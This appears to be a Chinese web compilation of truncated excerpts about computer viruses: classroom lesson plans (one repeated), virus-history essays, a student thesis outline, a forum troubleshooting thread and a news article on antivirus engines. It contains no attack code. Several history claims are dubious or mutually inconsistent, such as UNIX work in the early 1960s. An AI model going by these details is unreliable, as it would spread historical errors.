计算机的病毒案例
《缉拿真凶──计算机病毒》教学案例
随着信息时代的到来，计算机已经走入千家万户，在我们使用的过程中，肯定出现过许多异常现象。到底是什么原因引起计算机工作异常呢？相信大部分学生都比较感兴趣。因此以此为切入点，引入新课。
但本课的容理论性较强，对于五年级的学生来说，如果用常规教学的模式来讲，就会显得枯燥无味。而且小学生一堂课上的注意力时间很短，所以本节课采取了角色扮演的形式，小组分工协作的方法，利用网络平台自主获取信息，处理信息的学习方式贯穿本节课。
【教学目标】
·计算机病毒的定义。
·了解计算机病毒的特点和危害。
·当前计算机病毒传播的途径。
·掌握预防计算机病毒的方法。
【教学重点】
·了解计算机病毒的特点
·知道计算机病毒的传播算途径
【教学难点】
掌握预防计算机病毒的方法
【课外延伸】
了解病毒、木马、黑客的关系。
【教学方法】
1．角色扮演
2．利用网络进行自主学习。
3．小组合作、互助。
【教学模式】
引课──小组分工──上网自主学习──小组获取信息、加工处理信息──各组汇报结果──师评、生评──归纳总结──德育渗透
【情感目标】
·培养学生的信息安全意识。
·培养学生正确的网络道德观。
·培养学生团队合作精神。
【能力目标】
·培养学生获取信息的能力、处理信息的能力。
·培养学生利用网络自主学习的能力。
【教学课时】
1课时
课前：在课间准备活动时，学生按顺序走进教室，播放杜娟唱歌的音乐，给学生制造轻松的气氛，并且预示大家准备上课了。
一、引课
师：同学们好
生：老师好
师：我有一个愿望，想与你们做朋友，因为你们的眼神告诉我你们很会学习，会捕获知识，而且你们是一个团结的集体，这让我非常喜欢们。
师：我呢，平时，喜欢在网上学习，下载软件，欣赏动漫。昨天我下载了一首我儿时最喜欢的歌曲，今天要与你们一起欣赏。
（播放课件，蓝精灵MV）----（播放到一半，突然计算机报错，提示需重新启动）（冲击波病毒症状）
师：嗯？怎么回事？谁的眼睛最亮，能不能告诉我们大家，刚才发生了什么奇怪的现象？
生：回答刚才看到的奇怪现象。
（计算机报错、自动关机，并且反复重新启动）
师：你有敏锐的观察力，谢谢你。
师：但在课前我才刚刚检修过这台电脑，它即没有硬件故障，也没有软件冲突，电源也很稳定，那会是什么原因呢？谁最有可能是今天的电脑杀手？
生：猜测
1 （如果学生猜到是病毒的原因，师：我跟你想到一块了，我必须知道你的名字，***谢谢你的参与，那现在咱们一起去见证凶手）
2 （如果学生没有反映或没有猜到，则说：看来大家是各持己见，那咱们一起去寻找真正的杀手）
师：播放课件（破坏片断）
生：观看课件
（课件反映出计算机病毒的部分特性：）
师：原来今天的电脑杀手是？
生：计算机病毒
二、新授
板书：电脑杀手-──计算机病毒
互联网时代前的病毒史
互联网时代前的病毒史 三十年以前，还没有人把“计算机”和“病毒”这两个词放在一起。今天，计算机病毒已经成为我们生活的一部分一我们想尽力避免的那一部分。让我们回溯过去，去看看这些给我们带来大麻烦的小程序。 大计算机和小恶作剧 早在电子计算机发明以前，“计算机之父”约翰?冯?诺依曼就在一篇名为《复杂自动装置理论及组识的进行》的论文里提出了可自我复制程序的概念，可以说，创造病毒的条件之一这时在理论上已经具备了。 但是实际情况有些滞后，一直到1974年以前，计算机大都是些巨大、昂贵而笨重的设备，只有大公司、大学、研究机构能买得起。这些计算机的速度慢得可怕，指令复杂得惊人，只有少数人能够掌握。 在20世纪60年代初，有人开发了可以自我复制的程序。那是在美国贝尔实验室，三个年轻人维克多?A?维索特斯克、马尔科姆?道格拉斯?迈克尔罗伊和罗伯特?H?莫里斯在设计和开发UNIX操作系统之余，开发了一个叫做“达尔文”的
游戏，在一台IBM7090计算机上运行。他们这个游戏应用了冯?诺依曼提到的“程序自我复制理论”，获得竞争优势的“个体”可以发展壮大(后来这个程序也被称为“磁芯大战”。和现在的游戏比起来，它的玩法复杂得出奇，每个玩家都要自己撰写程序来和别人争夺地盘，并且争取找到对方的弱点从而消灭对方的程序。他们使用的编程语言“Red―code”同样是老古董。 这个游戏在很长一段时间都不为人知。直到1983年，亚历克山大?杜特尼在《科学美国人》杂志上发表了一篇名为，《计算机娱乐》的文章，才把这种游戏介绍给大众。由于这种游戏只在指定程序下运行，所以它虽然具备自我复制能力，但还不能称为病毒。实际上在杜特尼发表这篇文章的时候，“计算机病毒”这个名词还没有发明出来呢。 1983年，弗雷德?科恩正在南加州大学攻读博士学位，他写出了具有可自我复制及感染能力的程序，这个程序能够在一个小时内传遍整个电脑系统。11月10日，他在一个电脑安全研讨会上公布了自己的研究结果，并且指出：“这一类型的程序在网络中可像在电脑间一样传播，将给许多系统带来威胁。“科恩的导师艾德勒曼将这一类型的程序命名为计算机病毒，这是这个名词第一次出现在历史上。 这下人们终于知道该怎么称呼这个恶作剧了。1982年初，黎巴嫩山高中九年级学生理查德?斯克伦塔在苹果Ⅱ型计
计算机发展史1
一、中国计算机病毒发展史 计算机病毒，是一段附着在其他程序上的，可以实现自我繁殖的程序代码。自从1985年在美国被当众证明其存在性之后，计算机病毒技术得到了突飞猛进的发展；各路高手出于种种目的，纷纷编写了各式各样的计算机病毒，在Win-Intel平台上掀起了一股股计算机病毒狂潮。在这股狂潮中，作为一个计算机技术高速发展中的国家，中国首当其冲，受到了猛烈的冲击。 崭露头角 大约是在1988年，随着软件交流，石头和小球病毒跟随软盘悄悄地通过香港和美国进入了中国内地，并在人们的懵懂之间在大型企业和研究所间广为传播。直到病毒发作，人们才猛然惊醒！目前一般认为，小球病毒是国内发现的第一个计算机病毒。由于当时普遍使用软盘来启动系统，因此这两个系统病毒在大江南北广为流传，成了当时国内最流行的计算机系统病毒。跟随系统病毒之后，各路文件病毒也迅速登陆，巴基斯坦、维也纳和雨点等病毒令国人大为震惊之余，对其精湛的编程技艺，也有耳目一新的感觉。 风声鹤唳 1989到1991年是计算机病毒在中国迅速壮大的阶段，各色病毒揭竿而起，在中国大遍地开花。那时由于家庭电脑尚未普及，因此各家研究所和高等院校等计算机密集的地区成了计算机病毒的重灾区，而且往往是多种不同病毒反复交叉感染。米开朗琪罗和黑色星期五这两个文件病毒首开破坏软件系统之先河，在神州大地上大肆破坏。以至于中央电视台新闻联播等各大新闻媒体纷纷报道，声势之大，一时无两，决不逊色于名震世界的CIH病毒，甚至出现了“带口罩防计算机病毒传染”的笑话。更严重的是，国内的程序开发高手在经过短暂的迷惑之后，通过剖析病毒体，迅速掌握了病毒的编写技术，广州一号、中国炸弹、“六·四”和毛毛虫等各种国产病毒纷纷登场亮相。这个时期出版的各种剖析计算机病毒的书刊，不能说不起了推波助澜的作用；而好奇的大学生们，则成为了国产病毒的最先试制者。例如广州一号，就是广州大学一位在校学生研究病毒的副产品。不过，随着软件技术的发展，国人逐渐了解和掌握了计算机病毒，计算机病毒已不再神秘；SCAN和TBAV等反病毒软件纷纷从国外引入，雷军等人也开始尝试自己编写一些国产反病毒软件。而华星等硬件防病毒卡更是风行一时，其硬件防病毒技术当时即使在全世界范围内也是处于领先地位的。 巅峰之作 在人们逐渐掌握反计算机病毒的之后，计算机病毒开始试图通过各种方式来掩饰自己。长达4K 的世纪病毒，通过全面地接管系统功能调用，做到了在带毒环境下，除了反汇编内存之外，其他软件都丝毫不能觉察病毒的存在，可以说是一个编写得最认真的病毒。到了1992年，旧的计算机病毒技术已经完全被掌握，一些防病毒卡甚至宣称可以防范所有的已知和未知的病毒，人们似乎已经看到了计算机病毒的末日了。此时，一个叫做DIR II的病毒横空出世。这个病毒编写得是如此之巧妙，短短的512个字节的程序代码，就钻入了DOS操作系统的核心，实现了加密、解密和传染的功能，而且巧妙地躲过了各种防病毒软件和防毒卡的防线，达到增一分则太多，减一分则太少的境界。其高超的编程技术令人叹为观止，至今仍为计算机病毒的典范之作。DIR II病毒迅速摧毁了各种防病毒卡，为防病毒软件开辟了一条新的道路。人们开始认识到，反计算机病毒是一个漫长而曲折的过程，而防病毒软件因为其良好的兼容性，低廉的价格和方便的升级能力而逐渐得到了广大用户的认可。
计算机病毒的发展趋势探讨
计算机病毒的发展趋势探讨 计算机网络是信息社会的基础，已经进入了社会的各个角落，经济、文化、军事和社会生活越来越多依赖计算机网络。然而，计算机在给人们带来巨大便利的同时，也带来了不可忽视的问题，那就是计算机病毒给网络系统的安全运行带来了极大的挑战。 计算机病毒对计算机网络影响是灾难性的。从80年的“蠕虫”“小球”病毒起至今，计算机使用者都在和计算机病毒斗争，创造了形形色色的病毒产品和方案。但是随着近年Internet的发展，E-MAIL和一批网络工具的出现改变了人类信息的传播方式和生活，同时也使计算机病毒的种类迅速增加，扩散速度大大加快，出现了一批新的传播方式和表现力的病毒，对企业及个人用户的破坏性和传染力是以往的病毒类型所不可比拟的。因此，我们有必要对计算机病毒的发展趋势进行探讨。 计算机病毒的发展史几乎就是计算机技术的发展史，计算机刚刚诞生，就有了计算机病毒的概念。1949年，计算机之父冯·诺依曼便定了计算机病毒的概念，即一种“能够实际复制自身的自动机”。20世纪60年代初，美国内尔实验室里，3位年轻的程序员编写了一个名为“磁芯大战”的游戏，游戏中通过自身复制来摆脱对方的控制，这就是病毒的第一个雏形。70年代，美国作家雷恩在其出版的《PI的青春》一书中构思了一种能够自我复制的计算机程序，并第一次称之为“计算机病毒”。
计算机病毒通常具有潜伏性，传染性和破坏性。而它又具有隐蔽性，不易被觉察，破坏范围大且破坏速度快。由于网络的普及，使得更容易获得病毒知识，与传统的计算机病毒不同的是越来越多的病毒利用VB、JAVA、和Activex当前最新的编程语言与编程技术以及各种功能强大的“病毒生产机”软件等新语言技术制作，编制病毒越来越容易，不用绞尽脑汁去编程序，便轻易自动生产出大量的“同族”新病毒。所以，计算机病毒将会随着计算机技术的发展而变得更为“强大”，将可能向以下趋势方向发展。 1.变形病毒。早先，国内外连续发现多种更高级的能变换自身代码 的“变形”病毒，这些变形病毒具有多态性、多变性，甚至没有一个连续的字节是相同的，从而使以往的搜索病毒方法不知去搜索什么。1992年，我们首次发现了国内第一例变形病毒，病毒名字为“Doctor”(医生)。目前，我国已发现了许许多多变形病毒，这些变形病毒能将自身的代码变换成亿万种样贴附在被感染的文件中，破坏性极强，有些变形之复杂甚至达到了不可解除的状态。 2.智能化。随着病毒技术的提高，有些病毒还具有了黑客程序的功 能，一些高级病毒不再指以往绝大多数病毒那种“恶作剧”为目的，它主要是人类在信息社会投入巨资研究出的可扰乱破坏社会的信息、政治秩序，或是主宰战争目的的一种“信息战略武器”病毒，也就是病毒与黑客程序相结合。一旦侵入计算机系统后，它可以接受机外遥控信息，也可以潜藏在链接互联网的计算机中，收集密码和重要信息，向外发出。因此，病毒的发作，往往伴随着用户
计算机病毒的发展史与特征 计算机科学基础论文 大计基论文
病毒的发展史与特性 计算机病毒被公认为 数据安全的头号大敌，据 调查显示全球每天就有 1万个新病毒出现1，从 1987年电脑病毒受到世 界范围内的普遍重视，我 国也于1989年首次发现电脑病毒。目前，新型病毒正向更具破坏性、更加隐秘、感染率更高、传播速度更快等方向发展。因此，必须深入了解电脑病毒的发展史与基本常识，加强对电脑病毒的防范。 病毒的设想： 第一份关于计算机病毒理论的学术工作（虽然"病毒"一词在当时并未使用）于1949年由约翰·冯·诺伊曼完成。当时是以"Theory and Organization of Complicated Automata"为题的一场在伊利诺伊大学的演讲，稍后改以"Theory of self-reproducing automata"为题出版。冯·诺伊曼在他的论文中描述一个计算机程序如何复制其自身。 1972年，Veith Risak根据冯·诺伊曼在自我复制上的工作为基础发表"Self-reproducing automata with minimal information exchange" 1一公司调查显示全球每天就有1万个新病毒出现互联网档案馆的存档，存档日期2005-03-15.，新华网
一文。该文描述一个以西门子4004/35计算机系统为目标，用汇编语言编写，具有完整功能的计算机病毒。 1980年，Jürgen Kraus于多特蒙德大学撰写他的学位论文"Self-reproduction of programs"。在他的论文中，他假设计算机程序可以表现出如同病毒般的行为。 “病毒”一词最早用来表达此意是在弗雷德·科恩（Fred Cohen）1984年的论文《电脑病毒实验》。而病毒一词广为人知是得力于科幻小说。一部是1970年代中期大卫·杰洛德（David Gerrold）的《When H.A.R.L.I.E. was One》，描述了一个叫“病毒”的程序和与之对战的叫“抗体”的程序；另一部是约翰·布鲁勒尔（John Brunner）1975年的小说《震荡波骑士》，描述了一个叫做“磁带蠕虫”、在网络上删除数据的程序。2 病毒雏形的诞生： 1960年代初，贝尔实验室中等一群年轻的研究员制作出了称为Core War的小游戏供闲暇时消遣，将两个人所写的程序放入同一台电脑之后，这两个程序会互相攻击直到有一方失效为止。这个以最终生存为目标的游戏程序运用了内存重写技术和受困时自我复制以脱离险境等防御其它程序攻击的手法，已经具有了一些计算机病毒的面貌，也被普遍认为是病毒程序的最初原型。 2黑色的病毒产业，新华网
电脑病毒的发展史
电脑病毒的发展史 电脑病毒最初的历史，可以追溯至一九八二年。当时，电脑病毒这个名词还未正式被定义。下面就由小编给大家说说电脑病毒的发展史吧! 电脑病毒的发展史 电脑病毒最初的历史，可以追溯至一九八二年。当时，电脑病毒这个名词还未正式被定义。该年，Rich Skerta 撰写了一个名为"Elk Cloner"的电脑程式，使其成为了电脑病毒史上第一种感染个人电脑(Apple II )的电脑病毒，它以软磁碟作传播媒介，破坏程度可说是相当轻微，受感染电脑只会在萤光幕上显示一段小小的诗句: "It will get on all your disks It will infiltrate your chips Yes it's Cloner!
It will stick to you like glue It will modify ram too Send in the Cloner!" 1984 ―电脑病毒正式被定义 Fred Cohen于一九八四发表了一篇名为"电脑病毒―理论与实验(Computer Viruses ―Theory and Experiments)"的文章，当中除了为"电脑病毒"一词下了明确的定义外，也描述了他与其他专家对电脑病毒研究的实验成果。 1986 ―首种广泛传播于MS-DOS 个人电脑系统的电脑病毒 首宗恶意并广泛传播的电脑病毒始于一九八六年，该种电脑病毒名为"脑(Brain) "，由两位巴基斯坦籍的兄弟所编写，能破坏电脑的起动区(boot-sector)，亦被视为第一只能透过自我隐藏来逃避侦测的病毒。
历史上经典的计算机病毒有哪些
历史上经典的计算机病毒有哪些 在当今历史上一些经典的计算机病毒有哪些呢？小编告诉你，有很多经典实例，下面由小编给你做出详细的历史上经典的计算机病毒介绍!希望对你有帮助! 历史上经典的计算机病毒介绍： 一、微软WMF漏洞被黑客广泛利用,多家网站被挂马 二、敲诈者 三、病毒假冒工行电子银行升级 四、魔鬼波病毒爆发 五、光大证券网站多款软件被捆绑木马 六、威金病毒大闹互联网 磁碟机、熊猫烧香、AV终结者、机器狗、灰鸽子，
电脑中毒了解决方法： 解释下用正版瑞星杀毒以后很多.exe的文件都被删除掉了 很多病毒都是感染可执行程序的破坏后使文件损坏 病毒一般不感染小型文件，病毒的源代码内有很多变量可控比如熊猫烧香的源代码(楼主去网上看看，蛮经典的--有分析) 杀毒的时候提示：windows 无法访问指定设备，路径或文件。您可能没有合适的权限访问这个项目。 只是由于病毒破坏了系统文件的缘故(建议备份重要文件后重新安装) 而且卡卡助手经常提示阻止了一些网页后缀都是.down的! 很明显这是木马下载器在向指定的网站下载病毒和木马
重装系统后C盘的病毒就没有了，但是其他盘可能有病毒的残留。但病毒已经不会随系统进程启动了。下载360后便可清除病毒残留 重新做系统也没用!各种版本的XP全试了!真郁闷~! 引导区的病毒会导致这种情况，用瑞星最新更新的病毒库因该可以搞定 重做系统没用，你用GHOST还原搞的吗?还是安装盘? 如果使还原系统一般不可靠，病毒会感染还原软件 我看你好像没什么重要文件，先把全部硬盘格式化后再安装系统比较理想。系统装好后下个杀软全盘杀一遍 (到安全模式中也行) 就这么多了，因该可以解决
计算机病毒发展简史
计算机病毒发展简史 【提要】普通病毒网络蠕虫病毒变形病毒 【内容】计算机病毒的发展过程可分为三个阶段：普通计算机病毒、网络蠕虫病毒、和变形病毒。 普通计算机病毒 20世纪60年代初，美国贝尔实验室里，三个年轻的程序员编写了一个名为“磁心大战”的游戏，游戏中通过复制自身来摆脱对方的控制，这就是所谓的病毒的第一个雏形。 20世纪70年代，美国作家雷恩在其出版的《P1的青春》一书中构思了一种能够自我复制的计算机程序，并第一次称之为“计算机病毒”。 1983年11月，在国际计算机安全学术研讨会上，美国计算机专家首次将病毒程序在VAX/750计算机上进行了实验，世界上第一个计算机病毒就这样出生在实验室中。 20世纪80年代后期，巴基斯坦有两个编软件为生的兄弟，他们为了打击那些盗版软件的使用者，设计了一个名为“巴基斯坦智囊”的病毒，该病毒只传染软盘引导，这就是最早在世界上流行的一个真正的病毒。 1988至1989年，我国也相继出现了能感染硬盘和软盘引导区Stone（石头）病毒，该病毒体代码中有明显的标志“Your PC new Stoned! ”、“LEGALISE MARIJUANA”,也称为“大麻”病毒等。该病毒感染软硬盘0面0道1扇区，并修改部分中断向量表。该病毒不隐藏也不加密自身代码，所以很容易被查出和解除。类似这种特性的还有小球、Azusa/hong-kong/2708、Michaelangelo,这些都是从国外感染进来的。而国产的有Blody、Torch、Disk Killer等病毒，实际上他们大多数是Stone病毒的翻版。 20世纪90年代初，感染文件的病毒有Jerusalem（黑色13号星期五）、Yankee Doole、Liberty、1575、Traveller、1465、2062、4096等，主要感染.COM和.EXE文件。这类病毒修改
常用工具软件 计算机病毒概述
常用工具软件计算机病毒概述 凡是经常使用计算机的用户或多或少都受过病毒的困扰。病毒的危害，小到个人，大到全世界。 1．计算机病毒简介 20世纪80年代，弗雷德·科恩首次公开发表了论文《计算机机病毒：原理和实验》提出了计算机病毒的概念：“计算机病毒是一段程序，它通过修改其程序再把自身拷贝嵌入而实现对其他程序的传染”。 而“计算机病毒”与医学上的“病毒”不同，它不是天然存在的，是某些人利用计算机软、硬件所固有的脆弱性，编制具有特殊功能的程序。其能通过某种途径潜伏在计算机移动存储介质(或程序)里。当达到某种条件时即被激活时，可以修改其他程序的方法将自己的精确拷贝或者可能演化的形式放入其他程序中，从而感染它们，对计算机资源进行破坏的这样一组程序或指令集合，如图5-1所示。 1988年发生在美国的“蠕虫病毒”事件，给计算机技术的发展罩上了一层阴影。蠕虫病毒是由美国CORNELL大学研究生莫里斯编写。虽然并无恶意。但在当时，“蠕虫”在Internet 中大肆传染，使得数千台连网的计算机停止运行，并造成巨额损失，成为一时的舆论焦点。 感染感染 文件数据 图5-1 计算机病毒破坏文件及数据 在国内，最初引起人们注意的病毒是80年代末出现的“黑色星期五”、“米氏病毒”、“小球病毒”等。因当时软件种类不多，用户之间的软件交流较为频繁且反病毒软件并不普及，造成病毒的广泛流行。后来出现的Word宏病毒及Windows 95操作系统下的CIH病毒，使人们对病毒的认识更加深了一步。 2．病毒感染状况 那么用户通过什么方法可以了解到计算机已经感染到病毒呢？一般计算机受到病毒感染后，会表现出不同的症状。用户可以通过下列一些现象，来判断是否感染计算机病毒： ●机器不能正常启动加电后机器根本不能启动，或者启动时间变长了。有时会突 然出现黑屏现象。 ●运行速度降低如果发现在运行某个程序时，读取数据的时间比原来长，存文件 或调文件的时间时间较长，那就可能是由于病毒造成的。 ●磁盘空间迅速变小由于病毒程序要进驻内存，而且又能繁殖，因此使内存空间 变小甚至变为“0”，用户什么信息也进不去。 ●文件内容和长度有所改变一个文件存入磁盘后，本来它的长度和其内容都不会 改变，可是由于病毒的干扰，文件长度可能改变，文件内容也可能出现乱码。有 时文件内容无法显示或显示后又消失了。 ●经常出现“死机”现象正常的操作是不会造成死机现象的，即使是初学者，命 令输入不对也不会死机。如果机器经常死机，那可能是由于系统被病毒感染了。
计算机的病毒案例
《缉拿真凶──计算机病毒》教学案例 随着信息时代的到来，计算机已经走入千家万户，在我们使用的过程中，肯定出现过许多异常现象。到底是什么原因引起计算机工作异常呢？相信大部分学生都比较感兴趣。因此以此为切入点，引入新课。 但本课的容理论性较强，对于五年级的学生来说，如果用常规教学的模式来讲，就会显得枯燥无味。而且小学生一堂课上的注意力时间很短，所以本节课采取了角色扮演的形式，小组分工协作的方法，利用网络平台自主获取信息，处理信息的学习方式贯穿本节课。 【教学目标】 ·计算机病毒的定义。 ·了解计算机病毒的特点和危害。 ·当前计算机病毒传播的途径。 ·掌握预防计算机病毒的方法。 【教学重点】 ·了解计算机病毒的特点 ·知道计算机病毒的传播算途径 【教学难点】
掌握预防计算机病毒的方法 【课外延伸】 了解病毒、木马、黑客的关系。 【教学方法】 1．角色扮演 2．利用网络进行自主学习。 3．小组合作、互助。 【教学模式】 引课──小组分工──上网自主学习──小组获取信息、加工处理信息──各组汇报结果──师评、生评──归纳总结──德育渗透 【情感目标】 ·培养学生的信息安全意识。 ·培养学生正确的网络道德观。 ·培养学生团队合作精神。 【能力目标】 ·培养学生获取信息的能力、处理信息的能力。
·培养学生利用网络自主学习的能力。 【教学课时】 1课时 课前：在课间准备活动时，学生按顺序走进教室，播放杜娟唱歌的音乐，给学生制造轻松的气氛，并且预示大家准备上课了。 一、引课 师：同学们好 生：老师好 师：我有一个愿望，想与你们做朋友，因为你们的眼神告诉我你们很会学习，会捕获知识，而且你们是一个团结的集体，这让我非常喜欢们。 师：我呢，平时，喜欢在网上学习，下载软件，欣赏动漫。昨天我下载了一首我儿时最喜欢的歌曲，今天要与你们一起欣赏。 （播放课件，蓝精灵MV）----（播放到一半，突然计算机报错，提示需重新启动）（冲击波病毒症状） 师：嗯？怎么回事？谁的眼睛最亮，能不能告诉我们大家，刚才发生了什么奇怪的现象？ 生：回答刚才看到的奇怪现象。
计算机病毒与反病毒的发展趋势
甘肃省政法学院 学年论文 论文题目计算机病毒与反病毒发展趋势学科专业计算机 作者姓名马西芝 指导教师 提交日期2012年11月
学年论文开题报告 计算机病毒与反病毒的发展趋势 专业：计算机 班级： 0 2 学号： 1 7 姓名：马西芝 指导教师： 2012年11月
第一章题目的来源、目标和意义 一、题目的来源 今世界是信息化急速发展的社会，信息的安全对于当下世界来说已是迫不及待的头等大事。在这种背景下，作为21世纪的高新人才，我们更要明白和了解计算机病毒以及它的防范和发展。只有这样我们才能与时俱进，才能引领社会发展的步伐。 二、题目的目标 了解各种计算机病毒传播的模式以及应对的方法，预测未来计算机病毒与反病毒的发展趋势。在未来的计算机安全中，做出自己的贡献。 三、题目的意义 对社会经济发展有着深远的意义。在计算机的发展之中，对计算机病毒与反病毒进行了更深一步的认识。对自己以后的工作和学习有着举足轻重的帮助。 第二章目前国内外相关工作情况 一、计算机病毒 （一）计算机病毒的内涵 计算机病毒(Computer Virus )在《中华人民共和国计算机信息系统安全保护条例》中被明确定义为：“指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。自80年代莫里斯编制的第—个“蠕虫”病毒程序至今，世界上已出现了多种不同类型的病毒。 （二）计算机病毒类型 1、按传染方式分 ⑴引导区型病毒⑵文件型病毒⑶混合型病毒⑷宏病毒
2、按连接方式分 ⑴源码型病毒⑵入侵型病毒⑶操作系统型病毒⑷外壳型病毒（三）计算机病毒的特点 计算机病毒对计算机网络影响是灾难性的。从80年的“蠕虫”“小球”病毒起至今，计算机使用者都在和计算机病毒斗争，创造了形形色色的病毒产品和方案。但是随着近年Internet的发展，E-MAIL和一批网络工具的出现改变了人类信息的传播方式和生活，同时也使计算机病毒的种类迅速增加，扩散速度大大加快，出现了一批新的传播方式和表现力的病毒，对企业及个人用户的破坏性和传染力是以往的病毒类型所不可比拟的。病毒的主发地点和传播方式己经由以往的单机之间的介质传染完成了向网络系统的转化，类似于“CIH，Melisa，Exploer”网络传染性质的病毒大量出现，一旦企业或单位被病毒侵入并发作，造成的损失和责任是难以承受的。病毒和防病毒之间的斗争已经进入了由“杀”病毒到“防”病毒的时代。企业或单位只有拒病毒于网络之外，才能保证数据的真正安全。 二、计算机反病毒技术研究 具有自我复制能力的计算机程序，它能影响计算机软件、硬件的正常运行，破坏数据的正确性与完整性，造成计算机或计算机网络瘫痪，给人们的经济和社会生活造成巨大的损失并且成上升的趋势。计算机病毒的危害不言而喻，人类面临这一世界性的公害采取了许多行之有效的措施： 计算机病毒具有寄生性，即计算机病毒在静态时储存于磁盘、硬盘、光盘等辅存和CMOS中，而激活后则驻留在内存中；利用这个特性反病毒软件手工、自动或定时对这些病毒场所进行查毒杀毒来进行反病毒的技术称为软件反病毒技术。 目前，比较流行的病毒检查方法有——搜索法用含有的特定字符串对被检测的对象进行扫描，如果在被检测对象内部发现了某一种特定字节串，则表明发现了该字符串所代表的病毒。该种软件主要包括各种计算机病毒的代码串组成的病毒代码
计算机病毒与防护论文
计算机病毒与防护论文[摘要]:目前，病毒已成为困扰计算机系统安全和网络发展的重要问题。 掌握了计算机病毒的基本知识，一旦遇到计算机病毒就不会束手无策。本文通过对计算机病毒的概念、传播途径、感染后的症状等的介绍，使读者对其有一个理性的认识，并在此基础上提出了一些有效的防范措施，以期能最大限度地减少计算机病毒所带来的危害。 [关键词]:计算机计算机病毒传播途径防范措施 引言:在计算机病毒刚出现时，人们对计算机病毒的认识不够，防范意识 不强，还没来得及深刻认识他的作用，他就已经大量传播，肆意横行。几乎每一台联网或者没联网的计算机都无一例外的遭受到病毒的入侵，也给我们的工作和学习带来了极大的妨害。随着计算机在社会生活各个领域的广泛运用，计算机病毒攻击与防范技术也在不断拓展升级。据报道，世界各国遭受计算机病毒感染和攻击的事件数以亿计，严重地干扰了正常的人们的生活，给计算机网络的发展也带来了负面的影响。然而，计算机病毒技术也也曾应用在了军事方面，在海湾战争、科索沃战争中，双方都曾利用计算机病毒向敌方发起进攻，以达到破坏对方的计算机武器控制系统和整个军事网络，病毒的应用作为高科技武器的一个应用，达到了一定的目的。最后，随着计算机网络的不断普及，防范计算机病毒将越来越受到各世界的高度重视。 一、计算机病毒产生的根源 计算机病毒是计算机技术和以计算机为核心的社会信息化进程发展到一定阶段的必然产物。探究计算机病毒产生的根源，主要有以下几种：（1）用于版权保护这是最初计算机病毒产生的根本原因。在计算机发展初期，由于在法律上对于软件版权保护还没有像今天这样完善，因此，很多商业软件被非法复制，软件开发商为了保护自己的利益，就在自己发布的产品中加入了一些特别设计的程序，其目的就是为了防止用户进行非法复制或传播。但是随着信息产业的法制化，用于这种目的的病毒目前已不多见。 （2）显示自己的计算机水平某些爱好计算机并对计算机技术精通的人士为了炫耀自己的高超技术和智慧，凭借对软硬件的深入了解，编制这些特殊的程序。他们的本意并不是想让这些计算机病毒来对社会产生危害，但不幸的是，这些程序通过某些渠道传播出去后，对社会造成了很大的危害。 （3）产生于个别人的报复心理在所有的计算机病毒中，危害最大的就是那些别有用心的人出于报复等心理故意制造的计算机病毒。例如，美国一家计算机公司的一名程序员被辞退时，决定对公司进行报复，离开前向公司计算机系统中输入了一个病毒程序，“埋伏”在公司计算机系统里。结果这个病毒潜伏了5年多才发作，造成整个计算机系统的紊乱，给公司造成了巨大损失。 （4）用于特殊目的此类计算机病毒通常都是某些组织（如用于军事、政
计算机病毒
计算机病毒 [教材分析] 鉴于初中学生对计算机病毒已有耳闻,而且如今家庭电脑已是日益普及,然而计算机病毒更是让人防不胜防。在初一年就有意识地介绍有关计算机病毒的基本常识和杀毒软件的使用,对于乐此不疲的中学生来说是十分重要的一课,有利于帮助学生树立安全防范意识,尊重知识产权,在使用电脑过程中时刻关注计算机安全,学会防治病毒。 [教学目标] 一、知识与技能: 1、了解什么是计算机病毒及病毒的来源； 2、了解计算机病毒的特点及危害性； 3、了解计算机病毒感染后的常见症状； 4、初步掌握应用杀毒软件进行查、杀病毒的方法； 二、情感态度与价值观: 1、培养学生分析问题,解决问题的能力； 2、帮助学生树立防范病毒意识,培养学生的信息安全意识,进一步增强尊重知识产权的观念； [教学重点] 如何防治计算机病毒和清除计算机病毒的基本操作方法； [课前准备] 课前作业:让学生通过上网、图书馆、报刊杂志等渠道查阅有关计算机病毒的信息,每位同学可以从其特点、危害或具体实例来介绍自己对计算机病毒的认识,在课堂上交流。 [教学方法和手段] 教学方法:启发式教学； 教学手段:多媒体辅助教学 [教学过程设计] 1、前言: (引课)教师点题:与计算机打交道,我们经常会听到这么一个名词——病毒,许多同学是早有耳闻,因为她已让许多用户谈“毒”色变,只不过有些同学和她碰过面,也有的同学还未曾“谋面”。到底,病毒来了会怎样?她有什么危害呢?先来听听大家的“声音”吧! (启发)学生汇报:学生根据自己收集有关病毒信息发表自己的见解(鼓励学生踊跃发言,创设良好学习氛围)。 目的:让学生在相互交流中增长知识,对病毒有了更多的认识和了解。 2、讲解: 师:刚才大家从不同方面介绍了自己对病毒的认识。究竟病毒是怎么回事?请看下面一段“计算机病毒的故事”(播放深圳智慧源软件公司的《赛博韦尔教育软件》)。 提示:注意病毒的“独白”。 ①什么是计算机的病毒
病毒与杀软的那些事：杀毒引擎的26年发展史
病毒与杀软的那些事：杀毒引擎的26年发展史 2015年03月26日17:56 来源：中国新闻网参与互动(0) 图：QVM人工智能引擎病毒检出率世界第一 中新网3月26日电1989年，全球第一款杀毒软件Mcafee诞生，距今杀毒软件已有26年历史，技术领域也进行了多次革新，尤其是反病毒产品的核心技术—杀毒引擎方面，也从简单的数据匹配、识别到如今的智能判断和分析。回首26年，杀毒引擎经历了怎样的演变历程，又为我们的生活带来了什么呢？ “杀毒引擎”到底是什么？
从技术上讲，“杀毒引擎”是一套判断特定程序行为是否为病毒程序或可疑程序的的技术机制。杀毒引擎是杀毒软件的主要部分，是去检测和发现病毒的程序。形象地说，它是杀毒产品的发动机，没有这个发动机，反病毒产品就只是一个空壳，无法正常运转。 一直以来，杀毒引擎核心技术掌握在德国、俄罗斯、美国等少数国家，比较知名的杀毒引擎包括俄罗斯的Dr.web(大蜘蛛)、Kaspersky(卡巴斯基)，美国的McAfee(迈克菲)、德国的AntiVir(小红伞)，以及罗马尼亚的BitDefender(比特梵德)等。在国内，由于技术积累和投入不够，杀毒引擎鲜有成功者。多数厂商采用BD、卡巴和小红伞等国外引擎自己加壳的简单OEM方式。 随着“去IOE”化和“棱镜门”事件影响，国家对信息安全的重视程度提到前所未有的高度。作为信息安全的重要一环，杀毒软件更需要做到自主可控，于是国内的安全厂商对杀毒软件的核心技术——杀毒引擎开始全面转向自主化。 国外“杀毒引擎”的演变 首先从国外反病毒引擎说起，在全球计算机病毒史上，曾经出现过两个比较著名的人物。 